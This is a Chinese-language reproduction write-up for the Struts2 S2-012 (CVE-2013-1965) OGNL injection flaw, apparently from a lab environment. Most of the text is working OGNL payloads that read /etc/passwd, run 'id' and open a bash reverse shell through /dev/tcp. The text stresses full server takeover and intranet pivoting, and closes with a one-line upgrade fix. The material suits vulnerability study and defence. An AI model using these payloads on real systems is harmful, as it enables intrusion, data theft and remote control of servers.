S2-012远程代码执行(CVE-2013-1965)

漏洞描述：

在Struts2框架中,如果配置Action中的Result时使用了重定向类型,并且还使用${param_name}作为重定向变量,当触发redirect类型返回时,Struts2使用${param_name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任意OGNL表达式导致任意代码执行。

复现过程：

1.访问http://ip:port，出现如下页面，开始实验

2.构造poc，查看/etc/passwd

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

借此漏洞，可以访问攻击者想要的敏感数据，包括配置文件、日志、源代码等信息，更加方便攻击者对网站进行渗透。

3.构造poc，查看用户id

%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"/bin/bash","-c",+"id"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}

借此漏洞，攻击者可以继承Web服务程序的权限去执行系统命令(任意代码)或读写文件；反弹shell；控制整个网站甚至控制服务器进一步内网渗透。

4.反弹shell

本地监听

5.构造poc，反弹shell命令

%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"/bin/bash","-c", "bash -i >%26 /dev/tcp/ip/port 0>%261"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}

6.成功监听

如此即可继承Web服务器程序的权限，去执行系统命令或读写文件，通过反弹shell控制整个网站，甚至控制整个服务器。

修复建议：

1.升级到 Struts 2.3.14.3